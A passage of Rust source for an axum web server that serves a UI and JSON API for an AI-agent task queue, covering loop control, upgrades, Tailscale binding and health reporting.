1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{delete, get, post};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::ask::{Answer, Question, Questions};
118use crate::config::{Config, Update, UpdateMode};
119use crate::md;
120use crate::notices::{Notice, Notices};
121use crate::proc::Quiet as _;
122use crate::queue::{Queue, Task, title_from};
123use crate::run::{RunState, RunStatus};
124use crate::talk::{Talk, Talks};
125use crate::{daemon, git, report, repos, run, stats, talk, updater};
126
127pub const DEFAULT_PORT: u16 = 7878;
129
130const POLL: Duration = Duration::from_secs(1);
132
133const KEEPALIVE: Duration = Duration::from_secs(15);
137
138const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
149
150const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
153
154const LIST_DEFAULT: usize = 50;
158const LIST_MAX: usize = 500;
160
161const TITLE_MAX: usize = 72;
163
164const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
173
174const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
180
181const FILENAME_HEADER: &str = "x-filename";
185
186const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
209 font-src data:; base-uri 'none'; form-action 'none'; \
210 frame-ancestors 'self'";
211
212const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
213const APP_CSS: &str = include_str!("../assets/ui/app.css");
214const APP_JS: &str = include_str!("../assets/ui/app.js");
215
216#[derive(Debug, Clone, Copy, PartialEq, Eq)]
218pub enum Bind {
219 Auto,
221 Addr(IpAddr),
223}
224
225impl std::str::FromStr for Bind {
226 type Err = String;
227
228 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
232 if s.eq_ignore_ascii_case("auto") {
233 return Ok(Self::Auto);
234 }
235 s.parse()
236 .map(Self::Addr)
237 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
238 }
239}
240
241impl std::fmt::Display for Bind {
242 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
243 match self {
244 Self::Auto => f.write_str("auto"),
245 Self::Addr(addr) => write!(f, "{addr}"),
246 }
247 }
248}
249
250#[derive(Debug, Clone)]
252pub struct Opts {
253 pub bind: Bind,
255 pub port: u16,
257 pub repo: PathBuf,
259 pub open: bool,
262 pub merge: Option<String>,
270}
271
272impl Default for Opts {
273 fn default() -> Self {
274 Self {
275 bind: Bind::Auto,
276 port: DEFAULT_PORT,
277 repo: PathBuf::from("."),
278 open: false,
279 merge: None,
280 }
281 }
282}
283
284#[derive(Debug, Clone)]
290pub struct Ui {
291 queue: Queue,
292 questions: Questions,
293 notices: Notices,
296 talks: Talks,
297 runs: PathBuf,
298 home: PathBuf,
299 repo: PathBuf,
300 worktrees_root: PathBuf,
307 talk_turns: Arc<Mutex<TalkTurns>>,
315 resuming: Arc<Mutex<HashSet<String>>>,
323 repos_cache: repos::Cache,
327 merge: Option<String>,
329 looping: Arc<Mutex<LoopState>>,
331 launch: Launch,
343 #[cfg(test)]
346 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
347}
348
349#[cfg(test)]
369struct BusyQueueGate {
370 reached: tokio::sync::oneshot::Sender<()>,
371 release: std::sync::mpsc::Receiver<()>,
372}
373
374#[cfg(test)]
375impl std::fmt::Debug for BusyQueueGate {
376 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
377 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
378 }
379}
380
381impl Ui {
382 pub fn new(
384 queue: Queue,
385 questions: Questions,
386 talks: Talks,
387 runs: PathBuf,
388 home: PathBuf,
389 repo: PathBuf,
390 ) -> Self {
391 Self {
392 queue,
393 questions,
394 notices: Notices::at(home.join("notifications")),
395 talks,
396 runs,
397 home,
398 repo,
399 worktrees_root: run::default_worktree_root(),
403 talk_turns: Arc::default(),
404 resuming: Arc::default(),
405 repos_cache: repos::Cache::new(),
406 merge: None,
407 looping: Arc::default(),
408 launch: launch_daemon,
409 #[cfg(test)]
410 busy_queue_gate: Arc::default(),
411 }
412 }
413
414 pub fn open(repo: PathBuf) -> Self {
417 Self::new(
418 Queue::open(),
419 Questions::open(),
420 Talks::open(),
421 run::runs_root(),
422 run::home(),
423 repo,
424 )
425 }
426
427 #[must_use]
434 pub fn with_merge(mut self, merge: Option<String>) -> Self {
435 self.merge = merge;
436 self
437 }
438
439 #[must_use]
444 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
445 self.worktrees_root = root;
446 self
447 }
448
449 #[cfg(test)]
454 #[must_use]
455 fn with_launch(mut self, launch: Launch) -> Self {
456 self.launch = launch;
457 self
458 }
459
460 #[cfg(test)]
470 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
471 *self
472 .busy_queue_gate
473 .lock()
474 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
475 }
476
477 fn looping(&self) -> Arc<Mutex<LoopState>> {
479 Arc::clone(&self.looping)
480 }
481
482 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
489 if let Some(other) = foreign {
490 return Err(ApiError::conflict(format!(
491 "{} is already running the loop, so this one will not start a \
492 second: two loops on one queue race for the same claims and \
493 burn the agent quota twice over. Stop it where it was \
494 started.",
495 other.who()
496 )));
497 }
498 let mut state = self.lock_loop();
499 if state.live.as_ref().is_some_and(Live::alive) {
500 return Err(ApiError::conflict(format!(
501 "this magi web process (pid {}) is already running the loop",
502 std::process::id()
503 )));
504 }
505
506 let stop = daemon::Stop::new();
507 let opts = daemon::Opts {
511 repo: self.repo.clone(),
512 merge: self.merge.clone(),
513 worktrees_root: Some(self.worktrees_root.clone()),
520 ..daemon::Opts::default()
521 };
522 let launch = self.launch;
523 let looping = Arc::clone(&self.looping);
524 let handle = tokio::spawn({
525 let opts = opts.clone();
526 let stop = stop.clone();
527 async move {
528 let failure = match launch(opts, stop).await {
529 Ok(()) => None,
530 Err(e) => Some(format!("{e:#}")),
531 };
532 match &failure {
533 Some(why) => tracing::error!("the loop stopped: {why}"),
534 None => tracing::info!("the loop stopped"),
535 }
536 let mut state = lock_or_recover(&looping);
542 state.live = None;
543 state.last_error = failure;
544 state.rev += 1;
545 }
546 });
547 tracing::info!(
548 "the loop is now running in this process: repo {}, merge {}",
549 opts.repo.display(),
550 opts.merge.as_deref().unwrap_or("as the config says")
551 );
552 state.live = Some(Live { stop, handle, opts });
553 state.last_error = None;
556 state.rev += 1;
557 Ok(())
558 }
559
560 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
566 if let Some(other) = foreign {
567 return Err(ApiError::conflict(format!(
568 "the loop belongs to {}, and this process cannot stop it - \
569 stop it where it was started. A button that silently did \
570 nothing would be worse than this refusal.",
571 other.who()
572 )));
573 }
574 let mut state = self.lock_loop();
575 let Some(live) = state.live.as_ref() else {
576 return Ok(());
577 };
578 if live.stop.stopped() && (!park || live.stop.parking()) {
582 return Ok(());
583 }
584 if park {
585 live.stop.park();
586 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
587 } else {
588 live.stop.stop();
589 tracing::info!("the loop was asked to stop; a run in flight is finished first");
590 }
591 state.rev += 1;
592 Ok(())
593 }
594
595 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
602 let state = self.lock_loop();
603 let live = state.live.as_ref().filter(|live| live.alive());
606 LoopView {
607 running: live.is_some(),
608 stopping: live.is_some_and(|live| live.stop.finishing()),
609 parking: live.is_some_and(|live| live.stop.parking()),
610 owned: live.is_some(),
611 repo: live
612 .map_or(&self.repo, |live| &live.opts.repo)
613 .display()
614 .to_string(),
615 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
616 last_error: state.last_error.clone(),
617 daemon: DaemonView::of(reading),
618 }
619 }
620
621 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
623 lock_or_recover(&self.looping)
624 }
625
626 fn is_thinking(&self, id: &str) -> bool {
632 self.talk_turns
633 .lock()
634 .is_ok_and(|turns| turns.live.contains(id))
635 }
636
637 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
656 self.claim_talk_turn(id, false)
657 }
658
659 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
662 self.claim_talk_turn(id, true)
663 }
664
665 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
666 let mut live = self
667 .talk_turns
668 .lock()
669 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
670 if !live.live.insert(id.to_owned()) {
671 if queued {
672 *live.queued.entry(id.to_owned()).or_default() += 1;
677 }
678 return Ok(None);
679 }
680 Ok(Some(TalkTurnGuard {
681 talk: id.to_owned(),
682 turns: Arc::clone(&self.talk_turns),
683 released: false,
684 }))
685 }
686
687 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
692 let mut live = self
693 .talk_turns
694 .lock()
695 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
696 if live.live.contains(id) {
697 return Ok(TalkTurnStart::Busy);
698 }
699 let talk = self.talks.get(id).map_err(ApiError::from)?;
700 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
701 return Ok(TalkTurnStart::Pending);
702 }
703 live.live.insert(id.to_owned());
704 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
705 talk: id.to_owned(),
706 turns: Arc::clone(&self.talk_turns),
707 released: false,
708 }))
709 }
710
711 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
718 let parking = {
719 let mut state = self.lock_loop();
720 let Some(live) = state.live.as_ref() else {
721 return Ok(None);
722 };
723 let busy = live.stop.busy_now();
724 live.stop.park();
725 state.rev += 1;
726 busy
727 };
728 Ok(if parking {
729 daemon::current_work(&self.home, jiff::Timestamp::now())
734 .into_iter()
735 .next()
736 .map(|c| c.run)
737 } else {
738 None
739 })
740 }
741
742 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
746 let mut live = self
747 .resuming
748 .lock()
749 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
750 if !live.insert(id.to_owned()) {
751 return Err(ApiError::conflict(format!(
752 "run {id} is already being resumed"
753 )));
754 }
755 Ok(ResumeGuard {
756 run: id.to_owned(),
757 resuming: Arc::clone(&self.resuming),
758 })
759 }
760
761 pub fn router(self) -> Router {
769 Router::new()
770 .route("/", get(index))
771 .route("/app.css", get(app_css))
772 .route("/app.js", get(app_js))
773 .route("/api/health", get(health))
774 .route("/api/loop", get(loop_get).post(loop_post))
775 .route("/api/upgrade", post(upgrade_post))
776 .route("/api/runs", get(runs_list))
777 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
778 .route("/api/runs/{id}/report", get(run_report))
779 .route("/api/runs/{id}/fold", post(run_fold))
780 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
781 .route("/api/runs/{id}/resume", post(run_resume))
782 .route("/api/queue", get(queue_list))
783 .route("/api/stats", get(stats_get))
784 .route("/api/queue/{id}", delete(queue_delete))
785 .route("/api/repos", get(repos_list))
786 .route("/api/queue/{id}/hold", post(queue_hold))
787 .route("/api/queue/{id}/release", post(queue_release))
788 .route("/api/queue/{id}/priority", post(queue_priority))
789 .route("/api/queue/{id}/edit", post(queue_edit))
790 .route("/api/queue/{id}/done", post(queue_done))
791 .route("/api/questions", get(questions_list))
792 .route("/api/questions/{id}/answer", post(question_answer))
793 .route("/api/questions/{id}/say", post(question_say))
794 .route("/api/questions/{id}/panel", get(question_panel))
795 .route("/api/questions/{id}/panel/index.html", get(question_panel))
803 .route("/api/questions/{id}/panel/{name}", get(question_asset))
804 .route("/api/questions/{id}/asset/{name}", get(question_asset))
805 .route("/api/notifications", get(notifications_list))
806 .route("/api/notifications/read-all", post(notifications_read_all))
807 .route("/api/notifications/{id}/read", post(notification_read))
808 .route(
809 "/api/notifications/{id}/dismiss",
810 post(notification_dismiss),
811 )
812 .route("/api/talks", get(talks_list).post(talk_post))
813 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
814 .route("/api/talks/{id}/say", post(talk_say))
815 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
816 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
817 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
818 .route("/api/talks/{id}/close", post(talk_close))
819 .route("/api/talks/{id}/reopen", post(talk_reopen))
820 .route(
826 "/api/talks/{id}/attachments",
827 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
828 )
829 .route(
830 "/api/talks/{id}/attachments/{att}",
831 get(talk_attachment_get),
832 )
833 .route("/api/events", get(events))
834 .with_state(Arc::new(self))
835 }
836}
837
838#[derive(Debug)]
844struct TalkTurnGuard {
845 talk: String,
846 turns: Arc<Mutex<TalkTurns>>,
847 released: bool,
848}
849
850#[derive(Debug, Default)]
857struct TalkTurns {
858 live: HashSet<String>,
859 queued: HashMap<String, u64>,
860}
861
862enum TalkTurnStart {
865 Claimed(TalkTurnGuard),
866 Busy,
867 Pending,
868}
869
870impl TalkTurnGuard {
871 fn release(mut self, live: &mut TalkTurns) {
874 live.live.remove(&self.talk);
875 live.queued.remove(&self.talk);
876 self.released = true;
877 }
878}
879
880impl Drop for TalkTurnGuard {
881 fn drop(&mut self) {
882 if self.released {
883 return;
884 }
885 if let Ok(mut live) = self.turns.lock() {
886 live.live.remove(&self.talk);
887 live.queued.remove(&self.talk);
888 }
889 }
890}
891
892struct ResumeGuard {
894 run: String,
895 resuming: Arc<Mutex<HashSet<String>>>,
896}
897
898impl Drop for ResumeGuard {
899 fn drop(&mut self) {
900 if let Ok(mut live) = self.resuming.lock() {
901 live.remove(&self.run);
902 }
903 }
904}
905
906async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
916 const WINDOW: Duration = Duration::from_secs(10);
917 const GAP: Duration = Duration::from_millis(250);
918
919 let deadline = std::time::Instant::now() + WINDOW;
920 let mut said = false;
921 loop {
922 match tokio::net::TcpListener::bind(socket).await {
923 Ok(listener) => return Ok(listener),
924 Err(e)
925 if e.kind() == std::io::ErrorKind::AddrInUse
926 && std::time::Instant::now() < deadline =>
927 {
928 if !said {
929 said = true;
930 tracing::info!(
931 "{socket} is still held - waiting up to {}s for it, \
932 which is what a restart looks like from here",
933 WINDOW.as_secs()
934 );
935 }
936 tokio::time::sleep(GAP).await;
937 }
938 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
939 }
940 }
941}
942
943static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
946
947fn spawn_successor() -> Result<()> {
959 let exe = std::env::current_exe().context("find this binary")?;
960 let args: Vec<String> = std::env::args().skip(1).collect();
961 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
962
963 let mut cmd = std::process::Command::new(&exe);
964 cmd.args(&args)
965 .stdin(std::process::Stdio::null())
966 .stdout(std::process::Stdio::null())
967 .stderr(std::process::Stdio::null());
968 #[cfg(windows)]
969 {
970 use std::os::windows::process::CommandExt as _;
971 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
974 }
975 cmd.spawn().context("start the successor")?;
976 Ok(())
977}
978
979pub async fn serve(opts: Opts) -> Result<()> {
1004 let (addr, warning) = resolve_bind(&opts.bind);
1005 if let Some(warning) = warning {
1006 tracing::warn!("{warning}");
1007 }
1008
1009 report::set_color(false);
1015
1016 let repo = normalize_default_repo(opts.repo).await;
1017 let ui = Ui::open(repo).with_merge(opts.merge);
1018 let home = ui.home.clone();
1023 let repo = ui.repo.clone();
1024 updater::reconcile_after_restart(&home);
1029 tokio::spawn(run_update_recheck(repo, home.clone()));
1038 let looping = ui.looping();
1039 let socket = SocketAddr::new(addr, opts.port);
1040 let listener = bind_waiting(socket).await?;
1041 let url = format!("http://{addr}:{}", opts.port);
1042 tracing::info!(
1043 "magi web UI on {url} - there is no authentication, so anyone who can \
1044 reach this address can file and hold tasks: the tailnet is the \
1045 security boundary"
1046 );
1047 tracing::info!(
1048 "the queue loop is not running yet - start it from the UI, which is \
1049 the whole reason this process can: nothing in the queue moves until \
1050 something is running the loop"
1051 );
1052 if opts.open {
1053 println!("{url}");
1057 }
1058
1059 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1062 let interrupted = async {
1063 if tokio::signal::ctrl_c().await.is_err() {
1064 std::future::pending::<()>().await;
1069 }
1070 };
1071 let handover = HANDOVER.notified();
1072 tokio::select! {
1073 joined = &mut served => match joined {
1074 Ok(outcome) => outcome.context("serve the web UI"),
1075 Err(e) => Err(e).context("the task serving the web UI ended"),
1076 },
1077 () = interrupted => {
1078 tracing::info!("shutting down the web UI");
1079 finish_loop(&looping).await;
1080 Ok(())
1081 }
1082 () = handover => {
1083 tracing::info!("upgraded - handing this address to the successor");
1084 hand_over(&home, &looping, served, spawn_successor).await
1085 }
1086 }
1087}
1088
1089async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1110 if repo != FsPath::new(".") {
1111 return repo;
1112 }
1113 let Ok(canonical) = repo.canonicalize() else {
1114 return repo;
1115 };
1116 if git::toplevel(&canonical).await.is_ok() {
1117 return repo;
1118 }
1119 let Some(home) = dirs::home_dir() else {
1120 return repo;
1121 };
1122 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1123 Some(found) => {
1124 tracing::info!(
1125 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1126 canonical.display(),
1127 found.path.display(),
1128 found.reason,
1129 );
1130 found.path
1131 }
1132 None => repo,
1133 }
1134}
1135
1136async fn hand_over(
1166 home: &FsPath,
1167 looping: &Mutex<LoopState>,
1168 served: tokio::task::JoinHandle<std::io::Result<()>>,
1169 successor: impl FnOnce() -> Result<()>,
1170) -> Result<()> {
1171 if let Some(mut progress) = updater::read_progress(home) {
1172 progress.advance(updater::Stage::Parking);
1173 let _ = updater::write_progress(home, &progress);
1174 }
1175 finish_loop(looping).await;
1176 served.abort();
1177 let _ = served.await;
1178 if let Some(mut progress) = updater::read_progress(home) {
1179 progress.advance(updater::Stage::Restarting);
1180 let _ = updater::write_progress(home, &progress);
1181 }
1182 successor()
1183}
1184
1185async fn finish_loop(state: &Mutex<LoopState>) {
1192 let live = lock_or_recover(state).live.take();
1193 let Some(live) = live else { return };
1194 live.stop.stop();
1195 lock_or_recover(state).rev += 1;
1196 tracing::info!("waiting for the loop to finish the run in flight");
1197 let _ = live.handle.await;
1200}
1201
1202pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1208 match bind {
1209 Bind::Addr(addr) => (*addr, None),
1210 Bind::Auto => match tailscale_ip() {
1211 Ok(ip) => (IpAddr::V4(ip), None),
1212 Err(why) => (
1213 IpAddr::V4(Ipv4Addr::LOCALHOST),
1214 Some(format!(
1215 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1216 local-only and a phone cannot reach it; start Tailscale \
1217 or pass --bind <addr>"
1218 )),
1219 ),
1220 },
1221 }
1222}
1223
1224fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1232 let out = std::process::Command::new("tailscale")
1233 .args(["ip", "-4"])
1234 .quiet()
1235 .output()
1236 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1237 if !out.status.success() {
1238 let why = String::from_utf8_lossy(&out.stderr);
1239 let why = why.trim();
1240 return Err(format!(
1241 "`tailscale ip -4` failed ({}){}",
1242 out.status,
1243 if why.is_empty() {
1244 String::new()
1245 } else {
1246 format!(": {why}")
1247 }
1248 ));
1249 }
1250 String::from_utf8_lossy(&out.stdout)
1251 .lines()
1252 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1253 .find(is_tailnet)
1254 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1255}
1256
1257fn is_tailnet(ip: &Ipv4Addr) -> bool {
1259 let o = ip.octets();
1260 o[0] == 100 && (64..=127).contains(&o[1])
1261}
1262
1263type ApiResult<T> = std::result::Result<T, ApiError>;
1267
1268#[derive(Debug)]
1270struct ApiError {
1271 status: StatusCode,
1272 message: String,
1273}
1274
1275impl ApiError {
1276 fn bad_request(message: impl Into<String>) -> Self {
1278 Self {
1279 status: StatusCode::BAD_REQUEST,
1280 message: message.into(),
1281 }
1282 }
1283
1284 fn not_found(message: impl Into<String>) -> Self {
1286 Self {
1287 status: StatusCode::NOT_FOUND,
1288 message: message.into(),
1289 }
1290 }
1291
1292 fn with_status(mut self, status: StatusCode) -> Self {
1295 self.status = status;
1296 self
1297 }
1298
1299 fn bad_request_from(e: anyhow::Error) -> Self {
1303 Self::bad_request(format!("{e:#}"))
1304 }
1305
1306 fn conflict(message: impl Into<String>) -> Self {
1307 Self {
1308 status: StatusCode::CONFLICT,
1309 message: message.into(),
1310 }
1311 }
1312
1313 fn internal(message: impl Into<String>) -> Self {
1315 Self {
1316 status: StatusCode::INTERNAL_SERVER_ERROR,
1317 message: message.into(),
1318 }
1319 }
1320}
1321
1322impl From<anyhow::Error> for ApiError {
1323 fn from(e: anyhow::Error) -> Self {
1328 Self::internal(format!("{e:#}"))
1329 }
1330}
1331
1332impl IntoResponse for ApiError {
1333 fn into_response(self) -> Response {
1334 let body = serde_json::json!({ "error": self.message });
1335 (self.status, Json(body)).into_response()
1336 }
1337}
1338
1339async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1348where
1349 T: Send + 'static,
1350{
1351 match tokio::task::spawn_blocking(job).await {
1352 Ok(result) => result,
1353 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1354 }
1355}
1356
1357const ASSET_CACHE: &str = "no-cache, must-revalidate";
1375
1376fn asset_etag() -> &'static str {
1383 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1384 format!(
1385 "\"{}-{}\"",
1386 env!("CARGO_PKG_VERSION"),
1387 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1392 )
1393 });
1394 &TAG
1395}
1396
1397fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1399 [
1400 (header::CONTENT_TYPE, mime),
1401 (header::CACHE_CONTROL, ASSET_CACHE),
1402 (header::ETAG, asset_etag()),
1403 ]
1404}
1405
1406fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1414 let tag = asset_etag();
1415 let known = headers
1416 .get(header::IF_NONE_MATCH)
1417 .and_then(|v| v.to_str().ok())
1418 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1422 if known {
1423 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1424 }
1425 (asset_headers(mime), body).into_response()
1426}
1427
1428async fn index(headers: header::HeaderMap) -> Response {
1429 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1430}
1431
1432async fn app_css(headers: header::HeaderMap) -> Response {
1433 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1434}
1435
1436async fn app_js(headers: header::HeaderMap) -> Response {
1437 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1438}
1439
1440#[derive(Debug, Serialize)]
1442struct HealthView {
1443 version: &'static str,
1444 home: String,
1445 queue_rev: u64,
1446 runs_rev: u64,
1447 questions_rev: u64,
1459 talks_rev: u64,
1461 notifications_rev: u64,
1463 notifications_unread: usize,
1466 loop_rev: u64,
1471 runs_unreadable: usize,
1479 disk: DiskView,
1487 questions_open: usize,
1493 questions_needs_owner: usize,
1503 daemon: DaemonView,
1504 #[serde(rename = "loop")]
1510 looping: LoopView,
1511 update: UpdateView,
1518 upgrade: Option<UpgradeProgressView>,
1522}
1523
1524#[derive(Debug, Serialize)]
1531struct UpdateView {
1532 available: bool,
1534 to: Option<String>,
1536}
1537
1538#[derive(Debug, Serialize)]
1540struct UpgradeProgressView {
1541 stage: updater::Stage,
1542 from: String,
1543 to: Option<String>,
1544 waiting_on: Option<String>,
1547 started_at: Timestamp,
1548 updated_at: Timestamp,
1549 detail: Option<String>,
1550}
1551
1552fn should_spawn_recheck(cfg: &Update) -> bool {
1559 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1560}
1561
1562fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1574 if progress.is_some_and(|p| !p.stage.terminal()) {
1575 return false;
1576 }
1577 checker.should_check()
1578}
1579
1580fn recheck_poll_period(cfg: &Update) -> Duration {
1593 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1594}
1595
1596async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1620 loop {
1621 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1622 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1623 if !should_spawn_recheck(&cfg.update) {
1624 continue;
1625 }
1626 let Some(checker) = updater::Checker::new(&cfg.update) else {
1627 continue;
1628 };
1629 let progress = updater::read_progress(&home);
1630 if !update_recheck_due(&checker, progress.as_ref()) {
1631 continue;
1632 }
1633 if let Err(e) = checker.newer_release().await {
1634 tracing::warn!("background update recheck failed: {e:#}");
1635 }
1636 }
1637}
1638
1639fn cached_update_view(repo: &FsPath) -> UpdateView {
1645 let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1646 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1647 match latest {
1648 Some(latest) => UpdateView {
1649 available: true,
1650 to: Some(latest.tag_name),
1651 },
1652 None => UpdateView {
1653 available: false,
1654 to: None,
1655 },
1656 }
1657}
1658
1659fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1665 let waiting_on = (progress.stage == updater::Stage::Parking)
1666 .then_some(progress.parked_run.as_deref())
1667 .flatten()
1668 .and_then(|id| read_run(&ui.runs, id).ok())
1669 .map(|run| {
1670 format!(
1671 "run {} is finishing {} before the address is handed over",
1672 run.short(),
1673 run.status.as_str()
1674 )
1675 });
1676 UpgradeProgressView {
1677 stage: progress.stage,
1678 from: progress.from,
1679 to: progress.to,
1680 waiting_on,
1681 started_at: progress.started_at,
1682 updated_at: progress.updated_at,
1683 detail: progress.detail,
1684 }
1685}
1686
1687#[derive(Debug, Serialize)]
1692struct DiskView {
1693 #[serde(skip_serializing_if = "Option::is_none")]
1695 free_bytes: Option<u64>,
1696 runs_bytes: u64,
1698 worktrees_bytes: u64,
1700 #[serde(skip_serializing_if = "Option::is_none")]
1702 cache_bytes: Option<u64>,
1703}
1704
1705impl DiskView {
1706 fn of(ui: &Ui) -> Self {
1708 let cache_bytes = Config::discover(&ui.repo, None)
1709 .ok()
1710 .and_then(|(cfg, _)| cfg.cache_dir())
1711 .map(|dir| crate::disk::dir_size(&dir));
1712 Self {
1713 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1714 runs_bytes: crate::disk::dir_size(&ui.runs),
1715 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1716 cache_bytes,
1717 }
1718 }
1719}
1720
1721#[derive(Debug, Serialize)]
1723struct DaemonView {
1724 running: bool,
1725 idle: Option<bool>,
1726 pid: Option<u32>,
1727 current: Vec<daemon::Current>,
1731 completed: Option<u64>,
1732 stale_for_secs: Option<i64>,
1733}
1734
1735impl DaemonView {
1736 fn of(status: Option<daemon::Reading>) -> Self {
1740 let Some(status) = status else {
1741 return Self {
1742 running: false,
1743 idle: None,
1744 pid: None,
1745 current: Vec::new(),
1746 completed: None,
1747 stale_for_secs: None,
1748 };
1749 };
1750 let now = Timestamp::now();
1751 let age = status.age_secs(now);
1752 Self {
1753 running: status.running(now),
1754 idle: Some(status.idle),
1755 pid: status.pid,
1756 current: status.current,
1757 completed: Some(status.completed),
1758 stale_for_secs: age,
1759 }
1760 }
1761}
1762
1763async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1764 blocking(move || {
1765 let reading = daemon::read_status(&ui.home);
1769 let loop_rev = ui.lock_loop().rev;
1773 let update = cached_update_view(&ui.repo);
1774 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1775 Ok(Json(HealthView {
1776 version: env!("CARGO_PKG_VERSION"),
1777 home: ui.home.display().to_string(),
1778 queue_rev: ui.queue.revision(),
1779 runs_rev: runs_revision(&ui.runs),
1780 questions_rev: ui.questions.revision(),
1781 talks_rev: ui.talks.revision(),
1782 notifications_rev: ui.notices.revision(),
1783 notifications_unread: ui.notices.count_unread(),
1784 loop_rev,
1785 runs_unreadable: runs_unreadable(&ui.runs),
1786 questions_open: ui.questions.count_open(),
1787 questions_needs_owner: ui.questions.count_needs_owner(),
1788 daemon: DaemonView::of(reading.clone()),
1789 looping: ui.loop_view(reading),
1790 disk: DiskView::of(&ui),
1791 update,
1792 upgrade,
1793 }))
1794 })
1795 .await
1796}
1797
1798#[derive(Debug, Serialize)]
1800struct LoopView {
1801 running: bool,
1803 stopping: bool,
